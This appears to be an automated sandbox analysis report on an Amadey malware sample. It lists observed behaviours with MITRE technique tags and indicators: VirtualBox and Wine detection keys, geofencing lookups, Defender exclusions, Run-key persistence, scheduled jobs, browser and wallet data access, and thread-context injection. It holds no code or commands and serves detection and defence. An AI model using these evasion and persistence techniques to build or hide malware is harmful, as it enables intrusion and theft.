amadey | 1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorti.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	c19124b829.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorti.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorti.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorti.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
8204	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	c19124b829.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	c19124b829.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation	explorti.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation	jsawdtyjde.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation	clamer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation	dropperrr.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation	d0c9ab23e4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation	c19124b829.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation	axplong.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation	RegAsm.exe

Executes dropped EXE 27 IoCs

pid	Process
1704	explorti.exe
3016	d0c9ab23e4.exe
6112	explorti.exe
5904	83eb245d83.exe
628	c19124b829.exe
6240	axplong.exe
6500	jsawdtyjde.exe
6660	clamer.exe
6744	thkdh.exe
6844	deepweb.exe
7048	pureee.exe
6488	adada.exe
1800	dropperrr.exe
2380	svchost.exe
8348	axplong.exe
8328	explorti.exe
7300	jpxj.exe
4816	python_x86_Lib.exe
8288	ITSMService.exe
7932	ITSMAgent.exe
7908	ITSMAgent.exe
7160	ITSMAgent.exe
7128	axplong.exe
7756	explorti.exe
7864	RmmService.exe
8760	RmmService.exe
8152	RmmService.exe

Identifies Wine through registry keys 2 TTPs 9 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine	explorti.exe
Key opened	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe
Key opened	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine	explorti.exe
Key opened	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine	explorti.exe
Key opened	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine	explorti.exe
Key opened	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine	c19124b829.exe

Loads dropped DLL 64 IoCs

pid	Process
8604	MsiExec.exe
8604	MsiExec.exe
8604	MsiExec.exe
8604	MsiExec.exe
8216	MsiExec.exe
8216	MsiExec.exe
8216	MsiExec.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7908	ITSMAgent.exe
7908	ITSMAgent.exe
7908	ITSMAgent.exe
7908	ITSMAgent.exe
7908	ITSMAgent.exe
7932	ITSMAgent.exe
7908	ITSMAgent.exe
7908	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7160	ITSMAgent.exe
7160	ITSMAgent.exe
7160	ITSMAgent.exe
7160	ITSMAgent.exe
7160	ITSMAgent.exe
7160	ITSMAgent.exe
7160	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7932	ITSMAgent.exe
7160	ITSMAgent.exe
7160	ITSMAgent.exe
8216	MsiExec.exe
7864	RmmService.exe
7864	RmmService.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d0c9ab23e4.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000020001\\d0c9ab23e4.exe"	explorti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\83eb245d83.exe = "C:\\Users\\Admin\\1000029002\\83eb245d83.exe"	explorti.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Endpoint Manager = "C:\\Program Files (x86)\\COMODO\\Endpoint Manager\\ITSMAgent.exe"	msiexec.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
210	7528	msiexec.exe
212	7528	msiexec.exe

Checks for any installed AV software in registry 1 TTPs 8 IoCs

Security Software Discovery

T1518.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm	ITSMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm	ITSMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\COMODO\CIS	ITSMService.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\COMODO\CIS	ITSMService.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm	ITSMService.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm\	ITSMService.exe
Delete value	\REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm\RemovalSecurity	ITSMService.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm\RemovalSecurity	ITSMService.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\DriverStore\FileRepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF	chrome.exe
File created	\??\c:\windows\system32\driverstore\filerepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF	chrome.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs

pid	Process
1156	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe
1704	explorti.exe
6112	explorti.exe
5904	83eb245d83.exe
5904	83eb245d83.exe
628	c19124b829.exe
6240	axplong.exe
8348	axplong.exe
8328	explorti.exe
7128	axplong.exe
7756	explorti.exe

Suspicious use of SetThreadContext 21 IoCs

description	pid	Process	procid_target
PID 6844 set thread context of 6920	6844	deepweb.exe	137
PID 7048 set thread context of 7156	7048	pureee.exe	149
PID 7048 set thread context of 7184	7048	pureee.exe	154
PID 7048 set thread context of 1464	7048	pureee.exe	155
PID 7048 set thread context of 9044	7048	pureee.exe	156
PID 7048 set thread context of 8868	7048	pureee.exe	157
PID 7048 set thread context of 7748	7048	pureee.exe	158
PID 7048 set thread context of 9140	7048	pureee.exe	159
PID 7048 set thread context of 6636	7048	pureee.exe	160
PID 7048 set thread context of 7956	7048	pureee.exe	161
PID 7048 set thread context of 7940	7048	pureee.exe	162
PID 7048 set thread context of 6780	7048	pureee.exe	163
PID 7048 set thread context of 8160	7048	pureee.exe	164
PID 7048 set thread context of 6584	7048	pureee.exe	165
PID 7048 set thread context of 7364	7048	pureee.exe	167
PID 7048 set thread context of 4744	7048	pureee.exe	176
PID 7048 set thread context of 4496	7048	pureee.exe	187
PID 7048 set thread context of 3896	7048	pureee.exe	190
PID 7048 set thread context of 8232	7048	pureee.exe	192
PID 7048 set thread context of 6952	7048	pureee.exe	196
PID 7048 set thread context of 5076	7048	pureee.exe	200

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\platform.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\cachecontrol\heuristics.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\DLLs\bz2.pyd	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\lib2to3\fixes\fix_isinstance.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Etc\GMT	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\re.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\te_in.msg	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\timeit.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\html5lib\__init__.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools\command\alias.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\fa_in.msg	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\uuid.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Africa\Brazzaville	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Guadeloupe	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\US\East-Indiana	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\mac_croatian.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Africa\Accra	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Asia\Hebron	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\bitmaps\minusarm.gif	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools-18.2.dist-info\DESCRIPTION.rst	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\encoding\macCroatian.enc	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\iso2022_jp.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\idlelib\configSectionNameDialog.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\lib-tk\tkFont.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\html5lib\inputstream.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\bsddb\dbrecio.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\distutils\command\clean.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\requests\packages\chardet\langthaimodel.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\es_hn.msg	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Argentina\Jujuy	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Indiana\Indianapolis	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\EST5EDT	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\demos\samples\PanedWin.tcl	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\email\mime\nonmultipart.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\distlib\version.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Asia\Beirut	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\msgs\es.msg	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\requests\auth.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Antarctica\McMurdo	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Iran	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\ComboBox.tcl	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\pref\Old14Pt.fs	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\search.tcl	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\spin.tcl	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Africa\Banjul	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\GB-Eire	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Tortola	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\demos\bitmaps\harddisk.xbm	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\labelframe.tcl	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\shift_jisx0213.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\macurl2path.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Africa\Bangui	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Chicago	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Managua	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Australia\LHI	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Europe\Vilnius	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Pacific\Marquesas	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\iso8859_11.py	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\koi8_u.py	python_x86_Lib.exe
File opened for modification	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\Variable.tcl	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\DLLs\tcl85.dll	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\ComboBox.tcl	python_x86_Lib.exe
File created	C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\unicode_escape.py	python_x86_Lib.exe

Drops file in Windows directory 22 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\Test Task17.job	thkdh.exe
File opened for modification	C:\Windows\Installer\e59a157.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA2FD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA33C.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA4D3.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAAC2.tmp	msiexec.exe
File created	C:\Windows\Tasks\explorti.job	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe
File opened for modification	C:\Windows\Installer\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\icon.ico	msiexec.exe
File created	C:\Windows\Installer\wix{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e59a159.msi	msiexec.exe
File created	C:\Windows\Installer\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\icon.ico	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA562.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBDA1.tmp	msiexec.exe
File created	C:\Windows\Tasks\axplong.job	c19124b829.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA532.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAB21.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB3EC.tmp	msiexec.exe
File created	C:\Windows\Installer\e59a157.msi	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5924	5904	WerFault.exe	122

System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c19124b829.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axplong.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ITSMService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ITSMAgent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RmmService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RmmService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorti.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d0c9ab23e4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	83eb245d83.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dropperrr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python_x86_Lib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ITSMAgent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RmmService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	thkdh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	deepweb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jpxj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ITSMAgent.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
